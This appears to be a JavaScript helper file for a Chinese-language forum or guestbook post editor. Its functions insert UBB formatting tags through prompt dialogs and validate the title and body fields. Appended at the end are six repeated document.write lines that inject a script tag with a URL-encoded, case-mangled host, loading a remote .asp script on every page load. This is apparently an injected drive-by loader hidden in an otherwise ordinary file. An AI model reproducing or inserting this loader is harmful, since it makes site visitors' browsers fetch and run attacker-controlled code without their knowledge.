📄 add.js
字号:
// JavaScript Document
//This Script come from numb1, which url is http://www.numb1.com
function show(){
if (document.form1.onshow.checked == true) {
document.getElementById("color").style.display = "";
document.getElementById("word").innerText="普通文本";
}else{
document.getElementById("color").style.display = "none";
document.getElementById("word").innerText="多彩文本";
}
}
var array = new Array();
array[0]=1;array[1]=2;array[2]=3;
function expand(){
var tmp;
eval("tmp=document.getElementById('id_1').style.display");
if(tmp==''){
// eval("document.getElementById('id_"+id_value+"').style.display='none'");
for(i=0;i<array.length;i++){
eval("document.getElementById('id_"+array[i]+"').style.display='none'");
}
}else{
for(i=0;i<array.length;i++){
eval("document.getElementById('id_"+array[i]+"').style.display=''");
}
// eval("document.getElementById('id_"+id_value+"').style.display=''");
}
}
function addi()
{
var location = prompt("请输入斜体文字:","");
if(location)
{
form1.text.value=form1.text.value+"[i]"+location+"[/i]";
}
}
function addbold()
{
var location = prompt("请输入要加粗的文字:","");
if(location)
{
form1.text.value=form1.text.value+"[b]"+location+"[/b]";
}
}
function addu()
{
var location = prompt("请输入要加粗的文字:","");
if(location)
{
form1.text.value=form1.text.value+"[u]"+location+"[/u]";
}
}
function addimg()
{
var location = prompt("请输入图片的地址:","http://");
if(location)
{
form1.text.value=form1.text.value+"[img]"+location+"[/img]";
}
}
function addurl()
{
var location = prompt("请输入您要连接的地址:","http://");
if(location)
{
var info = prompt("请输入连接文字:","");
form1.text.value=form1.text.value+"[url="+location+"]"+info+"[/url]";
}
}
function addmail()
{
var location = prompt("请输入邮箱地址:","");
if(location)
{
form1.text.value=form1.text.value+"[email]"+location+"[/email]";
}
}
function addflash()
{
var location = prompt("请输入Flash的地址:","http://");
if(location)
{
form1.text.value=form1.text.value+"[flash]"+location+"[/flash]";
}
}
function addmp3()
{
var location = prompt("请输入音频文件地址:","http://");
if(location)
{
form1.text.value=form1.text.value+"[mp3]"+location+"[/mp3]";
}
}
function addmtv()
{
var location = prompt("请输入视频文件地址:","http://");
if(location)
{
form1.text.value=form1.text.value+"[mtv]"+location+"[/mtv]";
}
}
function addfly()
{
var location = prompt("请输入滚动字幕:","");
if(location)
{
form1.text.value=form1.text.value+"[fly]"+location+"[/fly]";
}
}
function check_form(theform)
{
if (theform.title.value=="")
{
alert("请输入标题!");
theform.title.focus();
return false;
}
if (theform.text.value=="")
{
alert("请输入内容!");
theform.text.focus();
return false;
}
}
function clear(theform)
{
alert("请输入标题!");
theform.title.value==""
theform.text.value==""
}
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -